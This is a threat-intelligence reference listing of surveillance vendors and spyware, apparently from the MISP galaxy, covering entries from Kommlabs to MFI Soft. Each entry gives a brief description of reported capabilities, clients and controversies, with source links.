Kommlabs is a company in India that provides a range of products including mass interception systems, GSM geolocation finders, data mining and analytics platforms. Its products include VerbaTRACK, which enables the real-time tracking of any mobile device that is switched on and the ability to monitor its location 24/7. It also includes VerbaPROBE, which enables intelligence agencies to gather information from a vast amount of data using analytical tools like multi-lingual OCR, free text search, speaker and language identification and advanced data mining techniques. Another product, VerbaCENTRE, is a monitoring centre solution that enables law enforcement agencies to intercept, monitor and analyze a target's voice, SMS, location and internet communications. It also offers ReveaLINX as a product, which is an interactive visual analytical tool that finds invisible relationships and exposes networks across millions of records from multiple databases, such as social associations of a target, the time and locations of all their whereabouts, and related information from cell tower dumps. The company claims to have offices in Asia, the Middle East and Africa.

The tag is: *misp-galaxy:surveillance-vendor="Kommlabs"*

Table 17824. Table References

Links
https://www.kommlabs.com/verba-track.html
https://www.giga-hamburg.de/en/publications/giga-focus/digital-surveillance-and-the-threat-to-civil-liberties-in-india
https://www.linkedin.com/company/kommlabs-dezign-pvt.-ltd./

Korporacja Wschód

Korporacja Wschód is a Polish company that provides surveillance technologies, optoelectronic systems, forensic equipment, and identity verification tools. Its products are primarily used by law enforcement and border management agencies.

Korporacja Wschód and Optix have partnered to supply Mobile Surveillance Systems (MSSs) to Frontex, the European Border and Coast Guard Agency.

The tag is: *misp-galaxy:surveillance-vendor="Korporacja Wschód"*

Table 17825. Table References

Links
https://infosecurity24.pl/sluzby-mundurowe/straz-graniczna/na-wschodnia-granice-trafi-sprzet-obserwacyjny-za-7-mln-zlotych
https://www.europarl.europa.eu/doceo/document/E-9-2023-002853-ASW-ANN02_EN.pdf
https://www.frontex.europa.eu/assets/EUresearchprojects/2023/KW_presentation_12.07.2023.pdf
https://korporacjawschod.pl/

KoSpy

KoSpy is a malicious spyware attributed to the North Korean state-sponsored hacking group APT37 (also known as Reaper). This sophisticated malware was found on the Google Play Store, embedded in seemingly legitimate Android apps. KoSpy is designed to covertly collect sensitive user data, including including SMS text messages, call logs, the device's location data, files and folders on the device, user-entered keystrokes, Wi-Fi network details, and a list of installed apps, while operating undetected. KoSpy can also record audio, take pictures with the phone's cameras, and capture screenshots of the screen in use.

The tag is: *misp-galaxy:surveillance-vendor="KoSpy"*

Table 17826. Table References

Links
https://www.lookout.com/threat-intelligence/article/lookout-discovers-new-spyware-by-north-korean-apt37
https://techcrunch.com/2025/03/12/north-korean-government-hackers-snuck-spyware-on-android-app-store/
https://thehackernews.com/2025/03/north-koreas-scarcruft-deploys-kospy.html
https://therecord.media/north-korea-malware-android-apps-kospy-apt37-scarcruft

Krikel

Krikel is a preferred supplier of surveillance and spyware tools to the Greek law enforcement and security authorities. It supplied Cytrox's Predator spyware to Greece. It is also the Greek representative of RCS Lab, an Italian company selling surveillance software.

The tag is: *misp-galaxy:surveillance-vendor="Krikel"*

Table 17827. Table References

Links
https://irpimedia.irpi.eu/en-predator-scandal-european-surveillance-market-black-hole/
https://www.euractiv.com/section/politics/news/exclusive-eu-prosecutor-probes-greek-predatorgate/
https://www.europarl.europa.eu/doceo/document/A-9-2023-0189_EN.html

L3Harris

L3Harris is a US defense contractor company. Formed through the merger of L3 Technologies and Harris Corporation in 2019, L3Harris is known for its products in communication systems, avionics, space and airborne systems, and defense electronics. The company's communication and surveillance products are used by law enforcement agencies for monitoring and intelligence operations. L3Harris is also a producer of surveillance tools like Stingray cell-site simulators. These devices mimic cell towers to intercept mobile phone signals, enabling the collection of sensitive

data such as call metadata, location information, and, with additional software, even the content of communications.

L3Harris was in talks to buy ownership of Pegasus software. As of February 2024, the company was in "mature talks" to set up a regional HQ in Saudi Arabia.

The tag is: *misp-galaxy:surveillance-vendor="L3Harris"*

Table 17828. Table References

Links
https://www.amnesty.org/en/latest/news/2022/07/the-pegasus-project-one-year-on-spyware-crisis-continues-after-failure-to-clamp-down-on-surveillance-industry/
https://www.theguardian.com/world/2022/jun/14/nso-group-pegasus-us-l3harris
https://www.theguardian.com/world/2024/mar/11/us-defence-contractor-paid-commissions-saudi-firm-later-alleged-conduit-bribes
https://gizmodo.com/american-cops-turns-to-canadian-phone-tracking-firm-aft-1845442778
https://articulo19.org/las-golondrinasenelalambre-del-gobierno-federal-torres-falsas-de-telefonia-para-recolectar-informacion-de-personas/

Landasoft

Landasoft is a Shanghai-based private defense company and technology firm that contributes to China's mass surveillance infrastructure, particularly in the Xinjiang province. An Associated Press investigation revealed that the firm, which was a former partner of IBM, replicated IBM's i2 police analytics and launched its own platform to power the Integrated Joint Operations Platform (IJOP) in Xinjiang.

Landasoft deployed software that scraped data from millions of cameras, police outposts, and personal records to build risk dossiers. The system categorized individuals using tags like "studied abroad" or "went on pilgrimage," computed risk scores, and enabled automatic "Push Alerts" to trigger detentions based on flawed predictions, often without human oversight. In one week in 2017 alone, IJOP flagged 24,412 people as "suspicious," leading to widespread detentions, with Uyghurs as a primary target.

The tag is: *misp-galaxy:surveillance-vendor="Landasoft"*

Table 17829. Table References

Links
https://apnews.com/article/chinese-surveillance-silicon-valley-uyghurs-tech-xinjiang-8e000601dadb6aea230f18170ed54e88
https://www.startribune.com/takeaways-from-aps-investigation-into-how-us-tech-companies-enabled-chinas-digital-police-state/601470674
https://theintercept.com/2021/01/29/china-uyghur-muslim-surveillance-police/
https://www.hrw.org/news/2023/05/04/china-phone-search-program-tramples-uyghur-rights

LensLock

LensLock is a law enforcement technology company that distributes surveillance products, such as high-resolution surveillance cameras integrated with cloud infrastructure and AI-powered visual and audio identification systems. LensLock has partnered with PlateSmart to offer Automated License Plate Recognition (ALPR) technology for use by police agencies.

The tag is: *misp-galaxy:surveillance-vendor="LensLock"*

Table 17830. Table References

Links
https://fox40.com/business/press-releases/ein-presswire/689706110/lenslock-announces-new-partnership-with-yardarm-technologies/
https://www.lenslock.com/fixed-cameras
https://nppgov.com/lenslock-enhances-your-surveillance-system/
https://www.lenslock.com/post/ai-in-law-enforcement
https://autotechinsight.spglobal.com/news/5282552/platesmart-and-lenslock-team-up-to-revolutionize-vehicle-intelligence-for-law-enforcement

Leo Impact

Leo Impact is an Indian cyber intelligence firm based in Rajasthan, developing both defensive and offensive cybersecurity technologies. Leo Impact has also been linked to controversial surveillance activities. Its now-defunct website, "SpyPhoneWorld.com," openly marketed surveillance software capable of remotely monitoring phones, targeting use cases like tracking partners or employees.

The tag is: *misp-galaxy:surveillance-vendor="Leo Impact"*

Table 17831. Table References

Links
https://mahdiabbastech.medium.com/cyber-offensive-firm-leo-impact-competing-with-aglaya-for-greater-share-in-surveillance-domain-965187dff2d
https://leoimpact.webflow.io/

Leon Technology

Leon Technology Company Limited (Leon Technology) is one of the key companies that helped the PRC build the Integrated Joint Operations Platform, a surveillance system in Xinjiang. Leon Technology has multiple surveillance project contracts with the PRC, particularly in parts of the country with sizeable ethnic minority populations.

The tag is: *misp-galaxy:surveillance-vendor="Leon Technology"*

Table 17832. Table References

Links
https://www.intelligenceonline.com/international-dealmaking/2019/12/11/leon-technology-a-key-surveillance-contractor-in-xinjiang,108385846-art
https://home.treasury.gov/news/press-releases/jy0538

Leonardo

Leonardo S.p.A. is an Italian defense company that provides various surveillance technologies across multiple domains, including air, land, sea, and space, primarily for military and government operations. Its portfolio includes mobile surveillance systems, which combine radar sensors, optronics, and command-and-control facilities for real-time monitoring. Their electro-optical and infrared systems enable tracking of medium- to long-range targets. It's also a developer of airborne mission management systems, such as ATOS, which integrates multiple sensors for surveillance purposes.

The tag is: *misp-galaxy:surveillance-vendor="Leonardo"*

Table 17833. Table References

Links
https://www.leonardo.com/en/press-release-detail/-/detail/leonardo-deploys-its-falco-evo-remotely-piloted-air-system-for-drone-based-maritime-surveillance-as-part-of-the-frontex-test-programme
https://digit.site36.net/2025/04/14/frontex-significantly-expands-drone-operations-number-of-flight-hours-increases-by-50-per-cent/
https://www.europarl.europa.eu/doceo/document/E-10-2025-000420_EN.html
https://prd.frontex.europa.eu/document/contracts-leonardo-thales/
https://www.statewatch.org/news/2018/september/eu-frontex-tests-drones-for-border-surveillance-6-5m-for-leonardo-and-israel-aerospace-industries/
https://www.auvsi.org/industry-news/leonardos-falco-evo-remotely-piloted-air-system-being-tested-part-frontex-surveillance
https://www.aeroexpo.online/product-manufacturer/leonardo-surveillance-radar-1428-22.html
https://abolishfrontex.org/how/stop-the-militarisation-of-borders-and-the-military-industrial-complex/
https://www.leonardodrs.com/news/feature-stories/leonardo-drs-and-edge-partner-to-reinforce-uae-defense-and-industrial-capabilities/

LexisNexis

LexisNexis' Accurint product collects a wide range of data from both public and non-public sources and offers them for sale primarily to government agencies and law enforcement. The platform compiles billions of records from sources such as government databases, utility bills, phone records, license plate tracking and medical records. It also integrates analytics tools like link analysis, detailed location mapping, and pattern recognition.

Accurint is widely used by agencies such as U.S. Immigration and Customs Enforcement (ICE) and Customs and Border Protection (CBP) for surveillance purposes, including tracking individuals and conducting deportation raids.

LexisNexis also integrates facial recognition technology into its monitoring tools, enabling law enforcement and government agencies to identify individuals and analyze images as part of their surveillance and data-gathering efforts.

LexisNexis is a wholly owned subsidiary of RELX PLC, a global information and analytics company headquartered in London.

The tag is: *misp-galaxy:surveillance-vendor="LexisNexis"*

Table 17834. Table References

Links
https://theintercept.com/2021/04/02/ice-database-surveillance-lexisnexis/
https://therecord.media/cbp-lexisnexis-risk-solutions-contract-surveillance
https://truthout.org/articles/ice-is-using-data-from-lexisnexis-to-skirt-sanctuary-laws-and-deport-immigrants/
https://prismreports.org/2025/01/30/ice-surveillance-immigrants/
https://theintercept.com/2023/06/20/lexisnexis-ice-surveillance-license-plates/
https://www.cbsnews.com/news/lexisnexis-lawsuit-collected-sold-personal-data-immigration-advocates-allege/
https://theintercept.com/2022/06/09/ice-lexisnexis-mass-surveillances/
https://www.theverge.com/2022/5/10/23065080/ice-surveillance-dragnet-data-brokers-georgetown-law
https://epic.org/epic-coalition-call-for-ice-to-cancel-contract-with-lexisnexis-for-invasive-surveillance-databases/

LianSpy

LianSpy disguises itself as system applications or financial services like the Alipay digital payments app. When the spyware operates as a system app, it automatically gains the necessary permissions for further exploitation, requesting access to screen overlay, notifications, background activity, contacts, and call logs. Once activated, LianSpy hides its icon from the home screen and runs silently in the background with administrator privileges. It discreetly monitors user activity by intercepting call logs, sending a list of installed applications to the attackers' server, and recording the smartphone’s screen, particularly during messaging activities. According to researchers, LianSpy is a post-exploitation malware, indicating that the attackers either exploited an unknown vulnerability in Android devices or gained physical access to the victims' smartphones to modify the firmware.

The tag is: *misp-galaxy:surveillance-vendor="LianSpy"*

Table 17835. Table References

Links
https://therecord.media/android-spyware-kaspersky-russian-targets
https://usa.kaspersky.com/blog/new-spy-for-android-smartphones-lianspy/30497/
https://thehackernews.com/2024/08/new-android-spyware-lianspy-evades.html
https://securelist.com/lianspy-android-spyware/113253/

LifeRaft

LifeRaft is a social media intelligence company that provides tools for monitoring and analyzing online activity. Its platform is designed to scan large volumes of public social media posts, identify potential risks, and provide related intelligence. LifeRaft's technology has been tested by organizations like the Fresno Police Department in California, USA for social media surveillance purposes.

The tag is: *misp-galaxy:surveillance-vendor="LifeRaft"*

Table 17836. Table References

Links
https://www.fresnobee.com/news/local/article52549320.html
https://digitalcommons.law.umaryland.edu/cgi/viewcontent.cgi?article=1272&context=jbtl
https://www.muckrock.com/news/archives/2016/may/18/followed/
https://cbgf.com/news-insights/liferaft-announces-follow-on-investment-from-cbgf/

Lightspeed

Lightspeed Systems develops tools designed to monitor and manage student activity on school-issued devices. Its software provides features like real-time screen monitoring, web filtering, and AI-powered alerts to identify "inappropriate behavior." The software can track students' online activities both during and outside school hours, often without their explicit awareness. The company claims to be used on 15 million student devices globally, and by 28,000 schools worldwide.

The tag is: *misp-galaxy:surveillance-vendor="Lightspeed"*

Table 17837. Table References

Links
https://www.teenvogue.com/story/school-surveillance-student-privacy-knight-foundation-lawsuit
https://silverchips.mbhs.edu/content/lightspeed-and-the-age-of-student-surveillance-37102/
https://www.seattletimes.com/education-lab/share-your-experience-with-student-surveillance/
https://www.theguardian.com/commentisfree/2021/oct/11/us-students-digital-surveillance-schools
https://www.govtech.com/education/k-12/monitoring-student-searches-raises-questions-about-privacy

https://www.atlantanewsfirst.com/2022/02/14/spying-or-protecting-students-cbs46-investigates-school-surveillance-software/
https://web.archive.org/web/20250808044253/https://7157e75ac0509b6a8f5c-5b19c577d01b9ccfe75d2f9e4b17ab55.ssl.cf1.rackcdn.com/EROEGXMP-PDF-3-593908-449855399.pdf

Linchpin Labs

Linchpin Labs is a software development and cybersecurity firm with a history of working with government clients, reportedly selling zero-day exploits and other tools to intelligence agencies, including those within the Five Eyes alliance. It frequently collaborates with its partner company, Azimuth Security, to provide such hacking capabilities to government entities. In 2018, it was acquired by U.S. defense contractor L3Harris.

The tag is: *misp-galaxy:surveillance-vendor="Linchpin Labs"*

Table 17838. Table References

Links
https://www.defensenews.com/industry/2018/07/12/l3-acquires-two-information-security-firms-with-eye-toward-multiple-markets/
https://techcrunch.com/2024/04/06/price-of-zero-day-exploits-rises-as-companies-harden-products-against-hackers/
https://www.vice.com/en/article/iphone-zero-days-inside-azimuth-security/
https://www.intelligenceonline.com/surveillance—interception/2019/06/11/hackers-switch-up-tactics-to-keep-on-top-of-the-latest-iphone-protections,108360865-art

Logic Industries

Logic Industries is an affiliate of AGT International (Asia Global Technologies), which partners closely with the government of the United Arab Emirates to provide a wide range of mass surveillance equipment.

The tag is: *misp-galaxy:surveillance-vendor="Logic Industries"*

Table 17839. Table References

Links
https://www.bloomberg.com/news/features/2017-02-02/how-do-israel-s-tech-firms-do-business-in-saudi-arabia-very-quietly

Logically

Logically, a UK-based artificial intelligence company, has been involved in government contracts for monitoring and analyzing social media content. The company has received over £1.2 million in funding from the UK government to identify and flag specific content online it deems to be misinformation or disinformation. Using AI, Logically processes data from hundreds of thousands

of media sources and public posts on major social media platforms.

Logically's tools were initially tested during elections in India and later expanded to support other government efforts. In the United States, the Washington Secretary of State extended a contract with Logically to monitor social media posts concerning elections. The Wall Street Journal reported in 2021 that the Department of Homeland Security (DHS) had engaged in at least preliminary discussions with Logically.

The tag is: *misp-galaxy:surveillance-vendor="Logically"*

Table 17840. Table References

Links
https://www.telegraph.co.uk/news/2023/06/03/logically-ai-firm-social-media-posts-covid/
https://whocountsthevotes.com/logically-ai-contract-extension-to-monitor-social-media/
https://www.brennancenter.org/our-work/analysis-opinion/were-suing-dhs-uncover-its-use-social-media-surveillance-tools
https://www.wsj.com/politics/national-security/homeland-security-considers-outside-firms-to-analyze-social-media-after-jan-6-failure-11629025200
https://logically.ai/announcements/logically-announces-24m-funding-round

LongHope

LongHope, a Chinese company, sells Wi-Fi hacking tools to law enforcement. LongHope's Wi-Fi WLAN Data Interception System (WWDIS) can snoop on Wi-Fi users, drop spyware, exploit mobile application vulnerabilities, and carry out man-in-the-middle attacks. LongHope also engages in HTTP injection by inserting iFrame code into websites, creating security vulnerabilities susceptible to Trojan dropping.

The tag is: *misp-galaxy:surveillance-vendor="LongHope"*

Table 17841. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2015/11/30/wifi-stingray-hacking-surveillance-china-paris/
https://journals.sagepub.com/doi/pdf/10.1177/0306422019876445

Macchina Security

Macchina Security is a Belgrade-based firm that imports Chinese technology into Serbia and has been awarded contracts to supply public video surveillance and traffic monitoring systems to numerous municipalities.

A 2023 investigation revealed that approximately one-third of local governments in Serbia utilize surveillance systems acquired from Chinese manufacturers like Dahua and Hikvision through Macchina Security.

The tag is: *misp-galaxy:surveillance-vendor="Macchina Security"*

Table 17842. Table References

Links
https://www.rferl.org/a/china-surveillance-cameras-europe-dahua-hikvision/32930737.html
https://www.rferl.org/a/serbia-surveillance-cameras-china/32526515.html
https://balkaninsight.com/wp-content/uploads/2024/06/Digital-surveillance-in-Serbia.pdf
https://www.biometricupdate.com/202406/serbias-surveillance-systems-are-rising-amid-a-democratic-deficit-report

Madeye AI

Madeye AI is an Israeli company that develops biometric and artificial intelligence solutions. The firm has gained attention for its role in implementing surveillance hardware at West Bank checkpoints, where Palestinians must undergo biometric monitoring when entering or exiting the region. The technology, which includes precision facial recognition along with fingerprint, retina, and palm scanning capabilities, was installed to enhance Israel's occupation and control over the Palestinian population.

Despite its young age and limited public information, Madeye has secured contracts with major Israeli entities, including the Israel Defense Forces and the Israel National Cyber Directorate.

The tag is: *misp-galaxy:surveillance-vendor="Madeye AI"*

Table 17843. Table References

Links
https://www.newarab.com/features/israels-new-ai-checkpoints-escalate-west-bank-dehumanisation

Magal Security Systems

An Israeli company specializing in high-tech security systems for fences and walls. Its systems are installed in the West Bank and Gaza walls. Now known as Senstar Technologies Corp.

The tag is: *misp-galaxy:surveillance-vendor="Magal Security Systems"*

Table 17844. Table References

Links
https://www.thenation.com/article/archive/how-israel-privatized-its-occupation-of-palestine/
https://www.ft.com/content/12b46246-abf2-11e6-9cb3-bb8207902122

Malvin Systems

Malvin Systems is a Russian company that develops SORM-compatible systems for surveillance purposes. SORM (System for Operative Investigative Activities) is an interception system used by Russian authorities to monitor telecommunications. Malvin Systems provides equipment that integrates with telecommunications infrastructure in order to collect and analyze data.

Nokia provided telecommunications equipment and services to connect SORM to Russia's largest telecom networks, such as MTS, while Malvin Systems manufactured the SORM-compatible hardware used by the Russian intelligence agency, the FSB. Nokia announced in March 2022 that it would stop its sales and operations in Russia following the invasion of Ukraine. However, the company left behind equipment and software that connected Russia's SORM surveillance system to major telecommunications networks.

The tag is: *misp-galaxy:surveillance-vendor="Malvin Systems"*

Table 17845. Table References

Links
https://techcrunch.com/2019/09/18/russia-sorm-nokia-surveillance/
https://www.nytimes.com/2023/07/03/technology/russia-ukraine-surveillance-tech.html
https://www.nytimes.com/2022/03/28/technology/nokia-russia-surveillance-system-sorm.html

Mantra Softech

Mantra Softech India Pvt Ltd, founded in 2006 by Hiren and Bhavyen Bhandari, is an Indian company that develops and distributes biometric and identity management technologies. Headquartered in Ahmedabad, the company has developed a range of biometric devices, including fingerprint scanners, iris sensors, AI-driven video processors for monitoring purposes, and "mood pattern" or facial emotion detection embedded in its facial recognition technology. Mantra also played a big role in the development and implementation of India's Aadhaar program, the world's largest biometric-based digital identity system.

The tag is: *misp-galaxy:surveillance-vendor="Mantra Softech"*

Table 17846. Table References

Links
https://indiatechnologynews.in/maldives-adopts-mantra-smart-identitys-morphs-fingerprint-scanner-for-national-id-system/
https://www.bizcommunity.com/Article/196/373/233294.html
https://www.mantratec.com/Face-Recognition
https://blog.mantratec.com/Facial-Emotion-Recognition-in-AI-and-Security
https://www.manilatimes.net/2025/04/28/tmt-newswire/globenewswire/mantra-softech-extends-licence-for-fpc-iris-technology-to-expand-into-new-markets/2100345
https://mantraidentity.com/Assets/Images/Company_Profile.pdf

https://cis-india.org/internet-governance/blog/table-2.pdf

MASL

MASL (Millennium Automation Systems Limited, and formerly known as MAPL World) is a technology company that provides surveillance and smart city products. For the Delhi Police, MASL implemented a citywide surveillance system that uses Facial Recognition Systems (FRS) and Automatic License Plate Recognition (ALPR). The system is integrated with video analytics and a centralized command center designed for policing efforts.

The tag is: *misp-galaxy:surveillance-vendor="MASL"*

Table 17847. Table References

Links
https://thepatriot.in/tech/weve-made-delhi-safer-with-cutting-edge-surveillance-systems-masl-ceo-on-smart-city-projects-65924
https://maslworld.com/smart_surveillance.php

Massive Blue

Massive Blue, a New York-based company, has developed a surveillance tool called Overwatch, marketed as an "AI-powered force multiplier for public safety." This technology deploys AI-generated virtual personas designed to infiltrate online spaces. Its stated use cases include monitoring "college protesters," "radicalized" activists, among others. The AI bots can engage in conversations, join groups, and monitor discussions to gather intelligence on specific targets or communities. The bots are also programmed to mimic human behavior, making them difficult to distinguish from real users.

Police departments, particularly near the U.S.-Mexico border, have invested heavily in this tool.

The tag is: *misp-galaxy:surveillance-vendor="Massive Blue"*

Table 17848. Table References

Links
https://www.404media.co/this-college-protester-isnt-real-its-an-ai-powered-undercover-bot-for-cops/
https://www.muckrock.com/foi/united-states-of-america-10/massive-blue-united-states-customs-and-border-protection-176331/
https://www.newstarget.com/2025-04-21-police-departments-deploy-ai-bots-to-create-crime.html
https://www.massiveblue.io/about

Max

Max is a state-backed messaging application developed by a subsidiary of VK, a Russian social

network with ties to powerful Kremlin figures. The app represents Russia's effort to create a homegrown alternative to foreign messaging platforms like WhatsApp. According to security experts, Max is designed with surveillance capabilities in mind, it would share private user data with authorities and aims to enable extensive surveillance through centralized data collection and monitoring. The Russian government will require the Max messenger app to be pre-installed on all smartphones and tablets sold in the country.

The tag is: *misp-galaxy:surveillance-vendor="Max"*

Table 17849. Table References

Links
https://www.washingtonpost.com/world/2025/08/27/russia-max-whasapp-messaging/
https://www.cnn.com/2025/08/21/tech/max-messenger-app-russia-smartphones-intl
https://www.forbes.com/sites/thomasbrewster/2025/08/26/kremlin-whatsapp-rival-is-designed-to-spy-on-users/
https://www.themoscowtimes.com/2025/08/28/everything-you-need-to-know-about-max-russias-state-backed-answer-to-whatsapp-a90356
https://www.abc.net.au/news/2025-08-22/inside-max-the-new-kremlin-controlled-messenger-in-russia/105683386
https://english.spbu.ru/news-events/news/st-petersburg-state-university-becomes-first-russia-adopt-national-messenger-max
https://russiapost.info/society/maximal_control
https://www.theatlantic.com/international/archive/2025/10/russia-super-app-max/684524/

MCM Solutions

MCM Solutions, a U.K.-based surveillance technology company, manufactures the controversial Detego digital forensics system that enables authorities to extract and analyze data from multiple devices simultaneously. While the company claims to develop tools "for good" to address security challenges, their technology has raised privacy concerns, particularly in Ghana where they conducted advanced training for specialist units and supplied surveillance equipment to immigration services through British Immigration Enforcement, despite acknowledging they "cannot always control how a customer uses the software," according to a Committee to Protect Journalists (CPJ) investigation.

The tag is: *misp-galaxy:surveillance-vendor="MCM Solutions"*

Table 17850. Table References

Links
https://cpj.org/2020/07/us-uk-interpol-give-ghana-phone-hacking-tools-raising-journalist-concerns-on-safety-and-confidentiality/
https://detegoglobal.com/our-partners/

Media Sonar

Media Sonar specializes in providing advanced social media monitoring and analysis. Their platform helps law enforcement agencies to monitor social media and other online sources to gather intelligence. In 2016, the ACLU of California worked with local activists in Fresno, California to reveal that its police department was using a Media Sonar social media surveillance tool that boasted the capacity to identify so-called “threats to public safety” by monitoring hashtags such as #BlackLivesMatter, #DontShoot, #ImUnarmed, #PoliceBrutality, and #ItsTimeforChange.

The tag is: *misp-galaxy:surveillance-vendor="Media Sonar"*

Table 17851. Table References

Links
https://www.aclu.org/news/privacy-technology/police-use-social-media-surveillance-software
https://www.aclunc.org/blog/its-time-shine-light-police-surveillance-fresno

Medialogia

Medialogia is a Russian technology company that develops tools for online and social media monitoring. It has developed systems such as the "Blog Monitoring System" and "Prisma," which are utilized by Russian authorities to track and analyze online content, including blogs and social networks. In April 2025, the National Media Group (NMG) announced plans to acquire Medialogia.

The tag is: *misp-galaxy:surveillance-vendor="Medialogia"*

Table 17852. Table References

Links
https://www.opendemocracy.net/en/odr/russian-state-and-surveillance-technology/
https://foreignpolicy.com/2013/04/05/russias-digital-underground/
https://en.iz.ru/en/1867656/2025-04-09/nmg-plans-acquisition-medialogia-company
https://craft.co/medialogia

Megvii

Megvii, also known as Face++, is a leading facial recognition company in China. Its technology has been linked to the mass surveillance and arbitrary detention of Uyghurs in East Turkistan (renamed Xinjiang by China). Megvii has exported its facial recognition software to other countries, including Thailand and Pakistan.

In compliance with Chinese regulations, Megvii is used to authenticate user identities on social platforms. Megvii’s proprietary deep learning algorithm, called Brain++, continuously improves the system’s accuracy and performance.

Megvii’s technology is also used to power China’s Skynet system, which monitors public spaces with hundreds of millions of cameras.

The tag is: *misp-galaxy:surveillance-vendor="Megvii"*

Table 17853. Table References

Links
https://www.washingtonpost.com/technology/2020/12/08/huawei-tested-ai-software-that-could-recognize-uighur-minorities-alert-police-report-says/
https://www.wired.com/story/behind-rise-chinas-facial-recognition-giants/
https://home.treasury.gov/news/press-releases/jy0538
https://www.forbes.com/sites/bernardmarr/2019/05/24/the-amazing-ways-chinese-face-recognition-company-megvii-face-uses-ai-and-machine-vision/
https://www.opendemocracy.net/en/cop-28-uae-surveillance-sultan-al-jaber-greenwash-ai-university/
https://www.forbes.com/sites/ywang/2019/03/26/this-31-year-old-built-a-billion-dollar-business-by-developing-ai-powered-facial-recognition-tech/
https://techcrunch.com/2019/05/08/megvii-750-million/

Meiya Pico

Xiamen Meiya Pico Information Co., Ltd. (aka Meiya Pico) provides surveillance technologies for use by the Chinese authorities. Meiya Pico has developed a mobile application designed to track image and audio files, location data, and messages on ordinary citizens' cellphones. The company has also collaborated with other entities to develop a transcription and translation tool for the Uyghur language to enable authorities to scan electronic devices for criminal content. In 2018, residents of East Turkistan (renamed Xinjiang by China) were required to download a desktop version of Meiya Pico's surveillance software so authorities could monitor for "illicit activity". Its monitoring mobile app is called MFSocket. They recently changed their corporate name to SDIC Intelligence Xiamen.

The tag is: *misp-galaxy:surveillance-vendor="Meiya Pico"*

Table 17854. Table References

Links
https://www.reuters.com/article/us-china-monitoring-insight/from-laboratory-in-far-west-chinas-surveillance-state-spreads-quietly-idUSKBN1KZ0R3/
https://medium.com/@csmew/meiya-pico-change-its-corporate-name-to-sdic-intelligence-xiamen-c97166d97f75
https://www.ft.com/content/73aebaaa-98a9-11e9-8cfb-30c211dcd229
https://home.treasury.gov/news/press-releases/jy0538

Meltwater

Meltwater is a Norwegian media intelligence platform that provides tools for monitoring and

analyzing social media, news, blogs, and other online content. It is now headquartered in San Francisco, California. Meltwater's capabilities include real-time social media monitoring, keyword tracking, and sentiment analysis.

Meltwater has also been used by law enforcement agencies for surveillance purposes. Police departments have reportedly utilized the platform to monitor social media activity related to protests and against specific targets and communities.

The company has secured contracts with Canadian federal agencies for media monitoring services. In 2015, the UK government contracted Meltwater, among other firms, to monitor public social media activity. In 2021, Singapore's Ministry of Communications and Information appointed Meltwater, to provide media monitoring and online analytics services for all government agencies. Meltwater also operates multiple offices in India, including locations in Delhi and Bengaluru.

The tag is: *misp-galaxy:surveillance-vendor="Meltwater"*

Table 17855. Table References

Links
https://script-ed.org/article/law-enforcement-in-the-age-of-big-data-and-surveillance-intermediaries-transparency-challenges/
https://www.brennancenter.org/our-work/analysis-opinion/cities-and-police-nationwide-spending-millions-social-media-monitoring
https://www.wired.com/story/government-pays-companies-to-monitor-social-media-use/
https://search.open.canada.ca/contracts/?page=1&search_text=Meltwater&sort=score+desc
https://www.thehindu.com/news/cities/Hyderabad/meltwater-opens-global-rd-centre-in-hyderabad/article69124489.ece
https://www.marketing-interactive.com/mci-appoints-3-firms-for-whole-of-government-media-monitoring-tender

Memento Labs

Memento Labs is a company that acquired the infamous spyware vendor Hacking Team, which sold its advanced surveillance technology, called Remote Control System (RCS), to governments and dictatorships worldwide. When researchers began to uncover information about Hacking Team's operations, the primary targets were human rights activists and journalists. Hacking Team's former chairman, Paolo Lezzi, became the owner of Memento Labs and its parent company, InTheCyber. Memento Labs develops various snooping products, such as KRAIT, a surveillance tool that can silently infect any Android device without the target's knowledge. It uses a "trusted implant" to appear as a legitimate source, making it easy to trick users into installing it. Once installed, KRAIT can steal passwords, monitor the device's location, microphone, camera, calls, and messages, all while hiding its activity through trusted online services. Another product, RCS X, is the latest version of a powerful spyware that has been used against journalists and human rights activists since 2012. It can infect almost any device, including macOS, Linux, Android, iOS, and BlackBerry, using security vulnerabilities. Once installed, RCS X allows hackers to control microphones, cameras, and take screenshots, while managing all infections from a single console.

At a monitoring conference in Dubai, Memento Labs introduced two new tools: MoniTOR and PrevenTer. PrevenTer is designed for speech recognition and transcribing call recordings. MoniTOR is aimed at helping law enforcement track activities by attempting to exploit any technical vulnerabilities to bypass anonymization methods used by the Tor network. However, these tools were not developed by the company itself, it was developed via a research collaboration with the University of Applied Sciences and Arts of Southern Switzerland (SUPSI) and funded by the Swiss Agency for Innovation Promotion, Innosuisse. SUPSI and Memento Labs' parent company, In The Cyber, have contractual agreements to jointly develop software products.

The tag is: *misp-galaxy:surveillance-vendor="Memento Labs"*

Table 17856. Table References

Links
https://www.technologyreview.com/2019/11/29/131803/the-fall-and-rise-of-a-spyware-empire/
https://www.intelligenceonline.com/surveillance—interception/2023/01/19/memento-labs-tries-to-get-back-into-uae-market-through-local-distributor-sat,109903859-art
https://www.vice.com/en/article/memento-labs-the-reborn-hacking-team-is-struggling/
https://www.nzz.ch/english/a-swiss-company-is-selling-spy-software-to-arab-intelligence-services-the-federal-government-supports-them-ld.1739341
https://www.techdirt.com/2022/06/30/italian-exploit-developer-follows-hacking-teams-lead-sells-powerful-spyware-to-human-rights-violators/

MER Group

MER Group develops and sells a range of surveillance and cyber intelligence solutions, including tools for intercepting communications, extracting data from devices, and monitoring online activities. One of the company’s flagship surveillance projects is the ‘Mabat 2000’ project in the Old City in occupied East Jerusalem. The project includes an array of about 400 CCTV cameras deployed throughout the Old City and linked to a police Command and Control center that monitors residents’ movements 24/7. In addition, the company’s surveillance cameras have been installed at the Beit Iba checkpoint, the Sha’ar Ephraim checkpoint and at the Anatot army base in the occupied West Bank.

The tag is: *misp-galaxy:surveillance-vendor="MER Group"*

Table 17857. Table References

Links
https://www.whoprofits.org/companies/company/4041

MFI Soft

A subsidiary of Citadel, MFI Soft is notable for its development of NetBeholder, a powerful surveillance tool that allows for detailed tracking and analysis of telecom subscriber data. This technology is employed to monitor communications and movements of individuals. It supplies

solutions for tracking user traffic to the countries of the former Soviet Union, and through the Canadian company ALOE Systems (formerly MERA Systems) and used in Canada, the USA, Mexico, Argentina, Brazil, Costa Rica, El Salvador, Peru, and Uruguay.

The tag is: *misp-galaxy:surveillance-vendor="MFI Soft"*

Table 17858. Table References

Links
https://cepa.org/article/russia-exports-digital-surveillance-despite-sanctions/
https://web.archive.org/web/20210114143200/https://agentura.ru/english/projects/Project_ID/justbusiness/
